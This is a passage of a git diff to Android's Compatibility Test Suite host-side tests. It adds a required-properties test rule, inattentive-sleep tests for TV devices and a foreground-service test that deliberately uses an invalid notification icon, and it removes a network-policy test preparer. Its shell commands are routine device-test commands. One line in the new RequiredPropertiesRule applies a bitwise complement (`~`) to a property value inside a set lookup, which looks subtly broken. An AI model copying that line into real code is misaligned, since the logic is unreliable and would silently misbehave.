+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static java.lang.annotation.ElementType.METHOD;
+import static java.lang.annotation.ElementType.TYPE;
+import static java.lang.annotation.RetentionPolicy.RUNTIME;
+
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.Target;
+
+@Retention(RUNTIME)
+@Target({METHOD, TYPE})
+@Inherited
+public @interface RequiredProperties {
+ Property[] value();
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
new file mode 100644
index 0000000..1e33320
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+
+import android.text.TextUtils;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BeforeAfterRule;
+
+import org.junit.Assume;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.Collections;
+
+public class RequiredPropertiesRule extends BeforeAfterRule {
+
+ private static ArraySet<Property> mRequiredProperties;
+
+ @Override
+ public void onBefore(Statement base, Description description) {
+ mRequiredProperties = getAllRequiredProperties(description);
+
+ final String testName = description.getClassName() + "#" + description.getMethodName();
+ assertTestIsValid(testName, mRequiredProperties);
+ Log.i(TAG, "Running test " + testName + " with required properties: "
+ + propertiesToString(mRequiredProperties));
+ }
+
+ private ArraySet<Property> getAllRequiredProperties(Description description) {
+ final ArraySet<Property> allRequiredProperties = new ArraySet<>();
+ RequiredProperties requiredProperties = description.getAnnotation(RequiredProperties.class);
+ if (requiredProperties != null) {
+ Collections.addAll(allRequiredProperties, requiredProperties.value());
+ }
+
+ for (Class<?> clazz = description.getTestClass();
+ clazz != null; clazz = clazz.getSuperclass()) {
+ requiredProperties = clazz.getDeclaredAnnotation(RequiredProperties.class);
+ if (requiredProperties == null) {
+ continue;
+ }
+ for (Property requiredProperty : requiredProperties.value()) {
+ if (!allRequiredProperties.contains(~requiredProperty.getValue())) {
+ allRequiredProperties.add(requiredProperty);
+ }
+ }
+ }
+ return allRequiredProperties;
+ }
+
+ private void assertTestIsValid(String testName, ArraySet<Property> requiredProperies) {
+ if (requiredProperies == null) {
+ return;
+ }
+ final ArrayList<Property> unsupportedProperties = new ArrayList<>();
+ for (Property property : requiredProperies) {
+ if (!property.isSupported()) {
+ unsupportedProperties.add(property);
+ }
+ }
+ Assume.assumeTrue("Unsupported properties: "
+ + propertiesToString(unsupportedProperties), unsupportedProperties.isEmpty());
+ }
+
+ public static ArraySet<Property> getRequiredProperties() {
+ return mRequiredProperties;
+ }
+
+ private static String propertiesToString(Iterable<Property> properties) {
+ return "[" + TextUtils.join(",", properties) + "]";
+ }
+}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
index 8d6c4ac..1312085 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
@@ -29,14 +29,14 @@
uninstallPackage(TEST_APP2_PKG, true);
}
- public void testOnBlockedStatusChanged_data_saver() throws Exception {
+ public void testOnBlockedStatusChanged_dataSaver() throws Exception {
runDeviceTests(TEST_PKG,
- TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_data_saver");
+ TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_dataSaver");
}
- public void testOnBlockedStatusChanged_power_saver() throws Exception {
+ public void testOnBlockedStatusChanged_powerSaver() throws Exception {
runDeviceTests(TEST_PKG,
- TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_power_saver");
+ TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_powerSaver");
}
}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
index a2443b3..ce20379 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
@@ -79,7 +79,8 @@
protected void installPackage(String apk) throws FileNotFoundException,
DeviceNotAvailableException {
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
+ assertNull(getDevice().installPackage(buildHelper.getTestFile(apk),
+ false /* reinstall */, true /* grantPermissions */));
}
protected void uninstallPackage(String packageName, boolean shouldSucceed)
diff --git a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
deleted file mode 100644
index bc2ee2c..0000000
--- a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.targetprep.ITargetCleaner;
-import com.android.tradefed.targetprep.ITargetPreparer;
-
-public class NetPolicyTestsPreparer implements ITargetPreparer, ITargetCleaner {
- private final static String KEY_PAROLE_DURATION = "parole_duration";
- private final static int DESIRED_PAROLE_DURATION = 0;
- private final static String KEY_STABLE_CHARGING_THRESHOLD = "stable_charging_threshold";
- private final static int DESIRED_STABLE_CHARGING_THRESHOLD = 0;
-
- private ITestDevice mDevice;
- private String mOriginalAppIdleConsts;
-
- @Override
- public void setUp(ITestDevice device, IBuildInfo buildInfo) throws DeviceNotAvailableException {
- mDevice = device;
- mOriginalAppIdleConsts = getAppIdleConstants();
- setAppIdleConstants(KEY_PAROLE_DURATION + "=" + DESIRED_PAROLE_DURATION + ","
- + KEY_STABLE_CHARGING_THRESHOLD + "=" + DESIRED_STABLE_CHARGING_THRESHOLD);
- LogUtil.CLog.d("Original app_idle_constants: " + mOriginalAppIdleConsts);
- }
-
- @Override
- public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
- throws DeviceNotAvailableException {
- setAppIdleConstants(mOriginalAppIdleConsts);
- }
-
- private void setAppIdleConstants(String appIdleConstants) throws DeviceNotAvailableException {
- executeCmd("settings put global app_idle_constants \"" + appIdleConstants + "\"");
- }
-
- private String getAppIdleConstants() throws DeviceNotAvailableException {
- return executeCmd("settings get global app_idle_constants");
- }
-
- private String executeCmd(String cmd) throws DeviceNotAvailableException {
- final String output = mDevice.executeShellCommand(cmd).trim();
- LogUtil.CLog.d("Output for '%s': %s", cmd, output);
- return output;
- }
-}
diff --git a/hostsidetests/numberblocking/OWNERS b/hostsidetests/numberblocking/OWNERS
new file mode 100644
index 0000000..0cfd686
--- /dev/null
+++ b/hostsidetests/numberblocking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+tgunn@google.com
\ No newline at end of file
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 1bf1aef..12b2dca 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -27,6 +27,8 @@
import com.android.tradefed.testtype.IBuildReceiver;
import java.io.File;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Multi-user tests for number blocking.
@@ -237,15 +239,15 @@
// TODO: Replace this with API in ITestDevice once it is available.
private int getUserSerialNumber(int userId) throws DeviceNotAvailableException {
+ Pattern pattern = Pattern.compile("^.*UserInfo\\{" + userId + "\\:.*serialNo=(\\d+).*$");
// dumpsys user return lines like "UserInfo{0:Owner:13} serialNo=0"
String commandOutput = getDevice().executeShellCommand("dumpsys user");
String[] tokens = commandOutput.split("\\n");
for (String token : tokens) {
token = token.trim();
- if (token.contains("UserInfo{" + userId + ":")) {
- String[] split = token.split("serialNo=");
- assertTrue(split.length == 2);
- int serialNumber = Integer.parseInt(split[1]);
+ Matcher matcher = pattern.matcher(token);
+ if (matcher.matches()) {
+ int serialNumber = Integer.parseInt(matcher.group(1));
LogUtil.CLog.logAndDisplay(
Log.LogLevel.INFO,
String.format("Serial number of user %d : %d", userId, serialNumber));
diff --git a/hostsidetests/os/Android.bp b/hostsidetests/os/Android.bp
index bd2d63e..7bba1bf 100644
--- a/hostsidetests/os/Android.bp
+++ b/hostsidetests/os/Android.bp
@@ -21,6 +21,7 @@
"cts-tradefed",
"tradefed",
"compatibility-host-util",
+ "truth-host-prebuilt",
],
// Tag this module as a cts test artifact
test_suites: [
diff --git a/hostsidetests/os/AndroidTest.xml b/hostsidetests/os/AndroidTest.xml
index ec89d43..1ae87a9 100644
--- a/hostsidetests/os/AndroidTest.xml
+++ b/hostsidetests/os/AndroidTest.xml
@@ -18,11 +18,13 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDeviceOsTestApp.apk" />
<option name="test-file-name" value="CtsHostProcfsTestApp.apk" />
+ <option name="test-file-name" value="CtsInattentiveSleepTestApp.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsOsHostTestCases.jar" />
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index fa9d9ae..88791ea 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -19,9 +19,16 @@
package="android.os.app"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+
<application>
<activity android:name=".TestNonExported"
android:exported="false" />
+
+ <service android:name=".TestFgService"
+ android:exported="true" />
+
</application>
+
</manifest>
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
new file mode 100644
index 0000000..3548105
--- /dev/null
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.app;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.util.Log;
+
+public class TestFgService extends Service {
+ private static final String TAG = "TestFgService";
+
+ // intentionally invalid resource configuration
+ private static final int NOTIFICATION_ID = 5038;
+ private static final String CHANNEL = "fgservice";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.i(TAG, "onStartCommand() called");
+ Notification notification = new Notification.Builder(this, CHANNEL)
+ .setContentTitle("Foreground service")
+ .setContentText("Ongoing test app foreground service is live")
+ .setSmallIcon(NOTIFICATION_ID)
+ .build();
+
+ Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
+ startForeground(NOTIFICATION_ID, notification);
+
+ return START_NOT_STICKY;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
new file mode 100644
index 0000000..9479db9
--- /dev/null
+++ b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static android.os.PowerManagerInternalProto.Wakefulness.WAKEFULNESS_ASLEEP;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.os.PowerManagerInternalProto.Wakefulness;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ProtoUtils;
+import com.android.server.power.PowerManagerServiceDumpProto;
+import com.android.server.power.PowerServiceSettingsAndConfigurationDumpProto;
+import com.android.server.wm.IdentifierProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class InattentiveSleepTests extends BaseHostJUnit4Test {
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ private static final String PACKAGE_NAME = "android.os.inattentivesleeptests";
+ private static final String APK_NAME = "CtsInattentiveSleepTestApp.apk";
+
+ private static final long TIME_BEFORE_WARNING_MS = 1200L;
+
+ private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto";
+ private static final String CMD_GET_WINDOW_TOKENS = "dumpsys window t --proto";
+ private static final String WARNING_WINDOW_TOKEN_TITLE = "InattentiveSleepWarning";
+ private static final String CMD_START_APP_TEMPLATE =
+ "am start -W -a android.intent.action.MAIN -p %s -c android.intent.category.LAUNCHER";
+
+ private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
+ private static final String CMD_PUT_STAY_ON_TEMPLATE =
+ "settings put global stay_on_while_plugged_in %d";
+ private static final String CMD_ENABLE_STAY_ON =
+ "settings put global stay_on_while_plugged_in 7";
+
+ private static final String CMD_SET_TIMEOUT_TEMPLATE =
+ "settings put secure attentive_timeout %d";
+ private static final String CMD_DELETE_TIMEOUT_SETTING =
+ "settings delete secure attentive_timeout";
+
+ private static final String CMD_KEYEVENT_HOME = "input keyevent KEYCODE_HOME";
+ private static final String CMD_KEYEVENT_WAKEUP = "input keyevent KEYCODE_WAKEUP";
+ private static final String CMD_KEYEVENT_DPAD_CENTER = "input keyevent KEYCODE_DPAD_CENTER";
+
+ // A reference to the device under test, which gives us a handle to run commands.
+ private ITestDevice mDevice;
+
+ private long mOriginalStayOnSetting;
+ private long mWarningDurationConfig;
+
+ @Before
+ public synchronized void setUp() throws Exception {
+ mDevice = getDevice();
+ assumeTrue("Test only applicable to TVs.", hasDeviceFeature(FEATURE_LEANBACK_ONLY));
+
+ mWarningDurationConfig = getWarningDurationConfig();
+ mOriginalStayOnSetting = Long.valueOf(mDevice.executeShellCommand(CMD_GET_STAY_ON).trim());
+ setInattentiveSleepTimeout(TIME_BEFORE_WARNING_MS + mWarningDurationConfig);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mDevice.executeShellCommand(
+ String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
+ mDevice.executeShellCommand(CMD_DELETE_TIMEOUT_SETTING);
+ }
+
+ private void wakeUpToHome() throws Exception {
+ wakeUp();
+ mDevice.executeShellCommand(CMD_KEYEVENT_HOME);
+ }
+
+ private void wakeUp() throws Exception {
+ mDevice.executeShellCommand(CMD_KEYEVENT_WAKEUP);
+ }
+
+ private void startKeepScreenOnActivity() throws Exception {
+ installPackage(APK_NAME);
+ mDevice.executeShellCommand(String.format(CMD_START_APP_TEMPLATE, PACKAGE_NAME));
+ }
+
+ private void setInattentiveSleepTimeout(long timeoutMs) throws Exception {
+ mDevice.executeShellCommand(String.format(CMD_SET_TIMEOUT_TEMPLATE, timeoutMs));
+ }
+
+ @Test
+ public void testInattentiveSleep_noWarningIfStayOnIsEnabled() throws Exception {
+ assumeTrue("Device is not powered.", getPowerManagerDump().getIsPowered());
+ mDevice.executeShellCommand(CMD_ENABLE_STAY_ON);
+
+ wakeUpToHome();
+ Thread.sleep(TIME_BEFORE_WARNING_MS);
+ assertWarningShown(
+ "Warning was shown, although the stay-on developer option was enabled.", false);
+ }
+
+ @Test
+ public void testInattentiveSleep_warningShowsBeforeSleep() throws Exception {
+ wakeUpToHome();
+ Thread.sleep(TIME_BEFORE_WARNING_MS);
+ assertWarningShown(
+ "Warning was not shown before the attentive sleep timeout expired.", true);
+ }
+
+ @Test
+ public void testInattentiveSleep_keypressDismissesWarning() throws Exception {
+ wakeUpToHome();
+ waitUntilWarningIsShowing();
+ mDevice.executeShellCommand(CMD_KEYEVENT_DPAD_CENTER);
+ assertWarningShown("Warning was shown after a keypress.", false);
+ }
+
+ @Test
+ public void testInattentiveSleep_warningHiddenAfterWakingUp() throws Exception {
+ wakeUpToHome();
+ waitUntilAsleep();
+ wakeUp();
+ assertWarningShown("Warning was shown after waking up.", false);
+ }
+
+ @Test
+ public void testInattentiveSleep_noWarningShownIfInattentiveSleepDisabled() throws Exception {
+ setInattentiveSleepTimeout(-1);
+ wakeUpToHome();
+ Thread.sleep(TIME_BEFORE_WARNING_MS);
+ assertWarningShown(
+ "Warning was shown, even though the attentive sleep timeout is disabled.", false);
+ }
+
+ @Test
+ public void testInattentiveSleep_goesToSleepAfterTimeout() throws Exception {
+ long minScreenOffTimeout =
+ getPowerManagerDump().getSettingsAndConfiguration().getMinimumScreenOffTimeoutConfigMs();
+ setInattentiveSleepTimeout(minScreenOffTimeout);
+ wakeUpToHome();
+ Thread.sleep(minScreenOffTimeout);
+ PollingCheck.check("Expected device to be asleep after timeout", TIME_BEFORE_WARNING_MS,
+ () -> getWakefulness() == WAKEFULNESS_ASLEEP);
+ }
+
+ @Test
+ public void testInattentiveSleep_goesToSleepAfterTimeoutWithWakeLock() throws Exception {
+ long minScreenOffTimeout =
+ getPowerManagerDump().getSettingsAndConfiguration().getMinimumScreenOffTimeoutConfigMs();
+ setInattentiveSleepTimeout(minScreenOffTimeout);
+ wakeUpToHome();
+ startKeepScreenOnActivity();
+ Thread.sleep(minScreenOffTimeout);
+ PollingCheck.check("Expected device to be asleep after timeout", 1000,
+ () -> getWakefulness() == WAKEFULNESS_ASLEEP);
+ }
+
+ @Test
+ public void testInattentiveSleep_showsSleepWarningWithWakeLock() throws Exception {
+ wakeUpToHome();
+ startKeepScreenOnActivity();
+ Thread.sleep(TIME_BEFORE_WARNING_MS);
+ assertWarningShown(
+ "Warning was not shown before the attentive sleep timeout expired.", true);
+ }
+
+ @Test
+ public void testInattentiveSleep_warningTiming() throws Exception {
+ long eps = 300;
+ wakeUpToHome();
+
+ long start = System.currentTimeMillis();
+ Thread.sleep(eps);
+ waitUntilWarningIsShowing();
+ long warningShown = System.currentTimeMillis();
+
+ long actualTimeToWarningShown = warningShown - start;
+ assertTrue("Warning was shown at unexpected time, after " + actualTimeToWarningShown + "ms",
+ Math.abs(actualTimeToWarningShown - TIME_BEFORE_WARNING_MS) <= eps);
+
+ long sleepTime = warningShown + mWarningDurationConfig - eps;
+ while (System.currentTimeMillis() < sleepTime) {
+ assertTrue("Warning dismissed early", isWarningShown());
+ Thread.sleep(50);
+ }
+ }
+
+ private Wakefulness getWakefulness() throws Exception {
+ return getPowerManagerDump().getWakefulness();
+ }
+
+ private PowerManagerServiceDumpProto getPowerManagerDump() throws Exception {
+ return ProtoUtils.getProto(getDevice(), PowerManagerServiceDumpProto.parser(),
+ CMD_DUMPSYS_POWER);
+ }
+
+ private long getWarningDurationConfig() throws Exception {
+ PowerServiceSettingsAndConfigurationDumpProto settingsAndConfiguration =
+ getPowerManagerDump().getSettingsAndConfiguration();
+ return settingsAndConfiguration.getAttentiveWarningDurationConfigMs();
+ }
+
+ private void assertWarningShown(String message, boolean expected) throws Exception {
+ PollingCheck.check(message, TIME_BEFORE_WARNING_MS + 500,
+ () -> isWarningShown() == expected);
+ }
+
+ private boolean isWarningShown() throws Exception {
+ WindowManagerServiceDumpProto windowManagerDump = ProtoUtils.getProto(getDevice(),
+ WindowManagerServiceDumpProto.parser(), CMD_GET_WINDOW_TOKENS);
+
+ List<IdentifierProto> windows = windowManagerDump.getRootWindowContainer().getWindowsList();
+ for (IdentifierProto identifierProto : windows) {
+ if (WARNING_WINDOW_TOKEN_TITLE.equals(identifierProto.getTitle())) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ private void waitUntilAsleep() throws Exception {
+ PollingCheck.waitFor(TIME_BEFORE_WARNING_MS + mWarningDurationConfig + 2000,
+ () -> getWakefulness() == WAKEFULNESS_ASLEEP);
+ }
+
+ private void waitUntilWarningIsShowing() throws Exception {
+ PollingCheck.waitFor(TIME_BEFORE_WARNING_MS + 1000, this::isWarningShown);
+ }
+}
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index c557c9e..8e3f5c5 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -22,14 +22,17 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.InputStreamSource;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.util.AbiUtils;
+import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
+import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Scanner;
@@ -38,12 +41,19 @@
public class OsHostTests extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
private static final String TEST_APP_PACKAGE = "android.os.app";
- private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
+ private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
private static final String START_NON_EXPORTED_ACTIVITY_COMMAND = String.format(
"am start -n %s/%s.%s",
TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_NON_EXPORTED_ACTIVITY_CLASS);
+ private static final String TEST_FG_SERVICE_CLASS = "TestFgService";
+ private static final String START_FG_SERVICE_COMMAND = String.format(
+ "am start-foreground-service -n %s/%s.%s",
+ TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_FG_SERVICE_CLASS);
+ private static final String FILTER_FG_SERVICE_REGEXP =
+ "TestFgService starting foreground: pid=([0-9]*)";
+
// Testing the intent filter verification mechanism
private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
@@ -104,6 +114,40 @@
}
}
+ /**
+ * Test behavior of malformed Notifications w.r.t. foreground services
+ * @throws Exception
+ */
+ @AppModeFull(reason = "Instant apps may not start foreground services")
+ public void testForegroundServiceBadNotification() throws Exception {
+ final Pattern pattern = Pattern.compile(FILTER_FG_SERVICE_REGEXP);
+
+ mDevice.clearLogcat();
+ mDevice.executeShellCommand(START_FG_SERVICE_COMMAND);
+ Thread.sleep(2500);
+
+ String pid = null;
+ try (InputStreamSource logSource = mDevice.getLogcat()) {
+ InputStreamReader streamReader = new InputStreamReader(logSource.createInputStream());
+ BufferedReader logReader = new BufferedReader(streamReader);
+
+ String line;
+ while ((line = logReader.readLine()) != null) {
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ pid = matcher.group(1);
+ break;
+ }
+ }
+ }
+ assertTrue("Didn't find test service statement in logcat", pid != null);
+
+ final String procStr = "/proc/" + pid;
+ final String lsOut = mDevice.executeShellCommand("ls -d " + procStr).trim();
+ assertTrue("Looking for nonexistence of service process " + pid,
+ lsOut.contains("No such file"));
+ }
+
public void testIntentFilterHostValidation() throws Exception {
String line = null;
try {
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
new file mode 100644
index 0000000..1f1895d
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsInattentiveSleepTestApp",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+}
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
new file mode 100755
index 0000000..487b8cc
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.inattentivesleeptests"
+ android:targetSandboxVersion="2">
+ <application>
+ <activity android:name=".KeepScreenOnActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/KeepScreenOnActivity.java b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/KeepScreenOnActivity.java
new file mode 100644
index 0000000..040de29
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/KeepScreenOnActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
